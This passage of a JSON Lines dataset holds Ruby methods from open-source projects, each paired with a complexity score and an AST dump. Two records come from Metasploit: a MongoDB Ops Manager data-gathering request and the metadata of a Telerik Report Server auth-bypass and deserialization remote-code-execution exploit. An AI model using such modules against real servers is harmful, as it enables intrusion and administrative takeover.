end","complexity_score":25.4,"ast_json":"{\"type\":\"def\",\"children\":[\"data\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"defined?\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@data\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@data\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"raw\"]},\"[]\",{\"type\":\"str\",\"children\":[\"items\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"creation_date\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"at\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"str\",\"children\":[\"creation_date\"]}]},\"to_i\"]}]},\"strftime\",{\"type\":\"str\",\"children\":[\"%I:%M%p - %d %b %y %Z\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"tags\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"str\",\"children\":[\"tags\"]}]},\"take\",{\"type\":\"int\",\"children\":[4]}]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"is_answer\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"key?\",{\"type\":\"str\",\"children\":[\"answer_id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"is_question\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"key?\",{\"type\":\"str\",\"children\":[\"question_id\"]}]}]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@data\",{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}]}","id":"72ba237e-c667-488f-81e6-caabf6bb96fd"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations_test.rb","start_line":747,"raw_source":"def test_habtm_association_redefinition_reflections_should_differ_and_not_inherited\n    assert_not_equal(\n      PeopleList.reflect_on_association(:has_and_belongs_to_many),\n      DifferentPeopleList.reflect_on_association(:has_and_belongs_to_many)\n    )\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_habtm_association_redefinition_reflections_should_differ_and_not_inherited\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_not_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PeopleList\"]},\"reflect_on_association\",{\"type\":\"sym\",\"children\":[\"has_and_belongs_to_many\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DifferentPeopleList\"]},\"reflect_on_association\",{\"type\":\"sym\",\"children\":[\"has_and_belongs_to_many\"]}]}]}]}","id":"ea45cd7e-c5a0-4440-8ead-f3b64d6053bf"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/api/v1/admin/canonical_email_blocks_controller.rb","start_line":41,"raw_source":"def destroy\n    authorize @canonical_email_block, :destroy?\n    @canonical_email_block.destroy!\n    log_action :destroy, @canonical_email_block\n    render_empty\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"destroy\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"authorize\",{\"type\":\"ivar\",\"children\":[\"@canonical_email_block\"]},{\"type\":\"sym\",\"children\":[\"destroy?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@canonical_email_block\"]},\"destroy!\"]},{\"type\":\"send\",\"children\":[null,\"log_action\",{\"type\":\"sym\",\"children\":[\"destroy\"]},{\"type\":\"ivar\",\"children\":[\"@canonical_email_block\"]}]},{\"type\":\"send\",\"children\":[null,\"render_empty\"]}]}]}","id":"354b3849-aa23-436c-90d4-1adae2c5d13d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/tools/generate_import_test_group.rb","start_line":66,"raw_source":"def access_token\n        @access_token ||= ENV['GITLAB_QA_ACCESS_TOKEN'] || raise(\"GITLAB_QA_ACCESS_TOKEN required\")\n      end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"access_token\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@access_token\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"GITLAB_QA_ACCESS_TOKEN\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"str\",\"children\":[\"GITLAB_QA_ACCESS_TOKEN required\"]}]}]}]}]}","id":"f6d22934-63b7-4e9c-a36b-30264fc64a2a"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/spec/support/polyline_popup_helpers.rb","start_line":43,"raw_source":"def extract_popup_data(popup_content)\n    return {} unless popup_content\n\n    data = {}\n\n    # Extract start time\n    if match = popup_content.match(/Start:<\\/strong>\\s*([^<]+)/)\n      data[:start] = match[1].strip\n    end\n\n    # Extract end time\n    if match = popup_content.match(/End:<\\/strong>\\s*([^<]+)/)\n      data[:end] = match[1].strip\n    end\n\n    # Extract duration\n    if match = popup_content.match(/Duration:<\\/strong>\\s*([^<]+)/)\n      data[:duration] = match[1].strip\n    end\n\n    # Extract total distance\n    if match = popup_content.match(/Total Distance:<\\/strong>\\s*([^<]+)/)\n      data[:total_distance] = match[1].strip\n    end\n\n    # Extract current speed\n    if match = popup_content.match(/Current Speed:<\\/strong>\\s*([^<]+)/)\n      data[:current_speed] = match[1].strip\n    end\n\n    data\n  end","complexity_score":36.38,"ast_json":"{\"type\":\"def\",\"children\":[\"extract_popup_data\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"popup_content\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"popup_content\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"match\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"popup_content\"]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Start:</strong>\\\\s*([^<]+)\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"start\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"strip\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"match\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"popup_content\"]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"End:</strong>\\\\s*([^<]+)\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"end\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"strip\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"match\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"popup_content\"]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Duration:</strong>\\\\s*([^<]+)\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"duration\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"strip\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"match\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"popup_content\"]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Total Distance:</strong>\\\\s*([^<]+)\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"total_distance\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"strip\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"match\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"popup_content\"]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Current Speed:</strong>\\\\s*([^<]+)\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"current_speed\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"strip\"]}]},null]},{\"type\":\"lvar\",\"children\":[\"data\"]}]}]}","id":"0236777d-6b7b-43df-a6ff-096cc81089ea"}
{"repo_name":"hanami","file_path":"./repos/hanami/lib/hanami/extensions/view/slice_configured_part.rb","start_line":54,"raw_source":"def define_new\n          slice = self.slice\n\n          define_method(:new) do |**args|\n            return super(**args) if args.key?(:rendering)\n\n            slice_rendering = Class.new(Hanami::View)\n              .configure_for_slice(slice)\n              .new\n              .rendering\n\n            super(rendering: slice_rendering, **args)\n          end\n        end","complexity_score":20.1,"ast_json":"{\"type\":\"def\",\"children\":[\"define_new\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"slice\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"slice\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"define_method\",{\"type\":\"sym\",\"children\":[\"new\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"kwrestarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"key?\",{\"type\":\"sym\",\"children\":[\"rendering\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"slice_rendering\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},\"new\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hanami\"]},\"View\"]}]},\"configure_for_slice\",{\"type\":\"lvar\",\"children\":[\"slice\"]}]},\"new\"]},\"rendering\"]}]},{\"type\":\"super\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"rendering\"]},{\"type\":\"lvar\",\"children\":[\"slice_rendering\"]}]},{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}]}]}]}]}]}","id":"1fdab20b-5bdd-4545-a7e7-bfa742061031"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/scripts/internal_events/cli/flows/metric_definer.rb","start_line":37,"raw_source":"def run\n        type = prompt_for_metric_type\n\n        prompt_for_configuration(type)\n\n        return unless metric\n\n        metric.milestone = MILESTONE\n        prompt_for_description\n        prompt_for_metric_name\n        defaults = prompt_for_copying_event_properties\n        prompt_for_product_group(defaults)\n        prompt_for_product_categories(defaults)\n        prompt_for_url(defaults)\n        prompt_for_tier(defaults)\n        outcome = create_metric_file\n        prompt_for_next_steps(outcome)\n      end","complexity_score":18.0,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"type\",{\"type\":\"send\",\"children\":[null,\"prompt_for_metric_type\"]}]},{\"type\":\"send\",\"children\":[null,\"prompt_for_configuration\",{\"type\":\"lvar\",\"children\":[\"type\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"metric\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"metric\"]},\"milestone=\",{\"type\":\"const\",\"children\":[null,\"MILESTONE\"]}]},{\"type\":\"send\",\"children\":[null,\"prompt_for_description\"]},{\"type\":\"send\",\"children\":[null,\"prompt_for_metric_name\"]},{\"type\":\"lvasgn\",\"children\":[\"defaults\",{\"type\":\"send\",\"children\":[null,\"prompt_for_copying_event_properties\"]}]},{\"type\":\"send\",\"children\":[null,\"prompt_for_product_group\",{\"type\":\"lvar\",\"children\":[\"defaults\"]}]},{\"type\":\"send\",\"children\":[null,\"prompt_for_product_categories\",{\"type\":\"lvar\",\"children\":[\"defaults\"]}]},{\"type\":\"send\",\"children\":[null,\"prompt_for_url\",{\"type\":\"lvar\",\"children\":[\"defaults\"]}]},{\"type\":\"send\",\"children\":[null,\"prompt_for_tier\",{\"type\":\"lvar\",\"children\":[\"defaults\"]}]},{\"type\":\"lvasgn\",\"children\":[\"outcome\",{\"type\":\"send\",\"children\":[null,\"create_metric_file\"]}]},{\"type\":\"send\",\"children\":[null,\"prompt_for_next_steps\",{\"type\":\"lvar\",\"children\":[\"outcome\"]}]}]}]}","id":"b035e3e0-e3f1-4819-8ce5-40239085622f"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-calendar/spec/lib/calendar_settings_validator_spec.rb","start_line":4,"raw_source":"def expect_invalid(val)\n    expect(subject.valid_value?(val)).to eq(false)\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_invalid\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"val\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"subject\"]},\"valid_value?\",{\"type\":\"lvar\",\"children\":[\"val\"]}]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"eq\",{\"type\":\"false\",\"children\":[]}]}]}]}","id":"6425dea1-51da-432b-95ce-4d5f3e02fd1c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/types/namespaces/namespace_settings_type.rb","start_line":16,"raw_source":"def step_up_auth_required_oauth_provider\n        return unless Feature.enabled?(:omniauth_step_up_auth_for_namespace, object.namespace)\n\n        object.step_up_auth_required_oauth_provider\n      end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"step_up_auth_required_oauth_provider\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Feature\"]},\"enabled?\",{\"type\":\"sym\",\"children\":[\"omniauth_step_up_auth_for_namespace\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"namespace\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"step_up_auth_required_oauth_provider\"]}]}]}","id":"42dac877-2d66-4e3a-9b31-b11c0601bd4e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/gather/mongodb_ops_manager_diagnostic_archive_info.rb","start_line":140,"raw_source":"def get_projects(org)\n    url = normalize_uri(target_uri.path, 'api', 'public', 'v1.0', 'orgs', org, 'groups')\n    auth_response = digest_auth(url)\n    # https://www.mongodb.com/docs/ops-manager/current/reference/api/organizations/organization-get-all-projects/\n    res = send_request_cgi(\n      'uri' => url,\n      'ctype' => 'application/json',\n      'headers' => {\n        'accept' => 'application/json',\n        'authorization' => auth_response\n      }\n    )\n    return [] if res.nil? || res.code == 401\n\n    res.get_json_document['results']\n  end","complexity_score":16.63,"ast_json":"{\"type\":\"def\",\"children\":[\"get_projects\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"org\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"url\",{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"api\"]},{\"type\":\"str\",\"children\":[\"public\"]},{\"type\":\"str\",\"children\":[\"v1.0\"]},{\"type\":\"str\",\"children\":[\"orgs\"]},{\"type\":\"lvar\",\"children\":[\"org\"]},{\"type\":\"str\",\"children\":[\"groups\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"auth_response\",{\"type\":\"send\",\"children\":[null,\"digest_auth\",{\"type\":\"lvar\",\"children\":[\"url\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"lvar\",\"children\":[\"url\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ctype\"]},{\"type\":\"str\",\"children\":[\"application/json\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"accept\"]},{\"type\":\"str\",\"children\":[\"application/json\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"authorization\"]},{\"type\":\"lvar\",\"children\":[\"auth_response\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[401]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"get_json_document\"]},\"[]\",{\"type\":\"str\",\"children\":[\"results\"]}]}]}]}","id":"f9478d5d-256c-42d1-ad29-ad6f20ecd6a7"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/completions/endpoints/samba_nova.rb","start_line":32,"raw_source":"def model_uri\n          URI(llm_model.url)\n        end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"model_uri\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"URI\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"llm_model\"]},\"url\"]}]}]}","id":"52c88da0-b3fe-4da4-b099-7386d93a97b4"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/telerik_report_server_deserialization.rb","start_line":13,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Telerik Report Server Auth Bypass and Deserialization RCE',\n        'Description' => %q{\n          This module chains an authentication bypass vulnerability (CVE-2024-4358) with a deserialization vulnerability\n          (CVE-2024-1800) to obtain remote code execution against Telerik Report Server version 10.0.24.130 and prior.\n          The authentication bypass flaw allows an unauthenticated user to create a new user with administrative privileges.\n          The USERNAME datastore option can be used to authenticate with an existing account to prevent the creation of a\n          new one. The deserialization flaw works by uploading a specially crafted report that when loaded will execute an\n          OS command as NT AUTHORITY\\SYSTEM. The module will automatically delete the created report but not the account\n          because users are unable to delete themselves.\n        },\n        'Author' => [\n          'SinSinology', # CVE-2024-4358 discovery, original PoC and vulnerability write-up\n          'Soroush Dalili', # CVE-2024-1800 exploitation assistance\n          'Unknown', # CVE-2024-1800 discovery\n          'Spencer McIntyre' # MSF module\n        ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          [ 'CVE', '2024-1800' ], # .NET deserialization vulnerability # patched in > 10.0.24.130\n          [ 'CVE', '2024-4358' ], # Authentication bypass # patched in > 10.0.24.305\n          [ 'URL', 'https://summoning.team/blog/progress-report-server-rce-cve-2024-4358-cve-2024-1800/' ]\n        ],\n        'Platform' => 'win',\n        'Arch' => ARCH_CMD,\n        'Targets' => [\n          [ 'Automatic', {} ],\n        ],\n        'DefaultOptions' => {\n          'SSL' => false,\n          'RPORT' => 83\n        },\n        'DefaultTarget' => 0,\n        'DisclosureDate' => '2024-06-04',\n        'Notes' => {\n          'Stability' => [ CRASH_SAFE, ],\n          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, ],\n          'Reliability' => [ REPEATABLE_SESSION, ],\n          'RelatedModules' => [ check_module ]\n        }\n      )\n    )\n\n    register_options([\n      OptString.new('TARGETURI', [ true, 'The base path to the web application', '/' ]),\n      OptString.new('USERNAME', [false, 'Username for the new account', '']),\n      OptString.new('PASSWORD', [false, 'Password for the new account', ''])\n    ])\n    deregister_options('CheckModule')\n  end","complexity_score":10.1,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Telerik Report Server Auth Bypass and Deserialization RCE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module chains an authentication bypass vulnerability (CVE-2024-4358) with a deserialization vulnerability\\n\"]},{\"type\":\"str\",\"children\":[\"          (CVE-2024-1800) to obtain remote code execution against Telerik Report Server version 10.0.24.130 and prior.\\n\"]},{\"type\":\"str\",\"children\":[\"          The authentication bypass flaw allows an unauthenticated user to create a new user with administrative privileges.\\n\"]},{\"type\":\"str\",\"children\":[\"          The USERNAME datastore option can be used to authenticate with an existing account to prevent the creation of a\\n\"]},{\"type\":\"str\",\"children\":[\"          new one. The deserialization flaw works by uploading a specially crafted report that when loaded will execute an\\n\"]},{\"type\":\"str\",\"children\":[\"          OS command as NT AUTHORITY\\\\SYSTEM. The module will automatically delete the created report but not the account\\n\"]},{\"type\":\"str\",\"children\":[\"          because users are unable to delete themselves.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"SinSinology\"]},{\"type\":\"str\",\"children\":[\"Soroush Dalili\"]},{\"type\":\"str\",\"children\":[\"Unknown\"]},{\"type\":\"str\",\"children\":[\"Spencer McIntyre\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2024-1800\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2024-4358\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://summoning.team/blog/progress-report-server-rce-cve-2024-4358-cve-2024-1800/\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Automatic\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SSL\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RPORT\"]},{\"type\":\"int\",\"children\":[83]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2024-06-04\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARTIFACTS_ON_DISK\"]},{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REPEATABLE_SESSION\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RelatedModules\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"check_module\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The base path to the web application\"]},{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"USERNAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Username for the new account\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Password for the new account\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"deregister_options\",{\"type\":\"str\",\"children\":[\"CheckModule\"]}]}]}]}","id":"5c8fa42f-2466-49f8-93c4-e3cde428934a"}
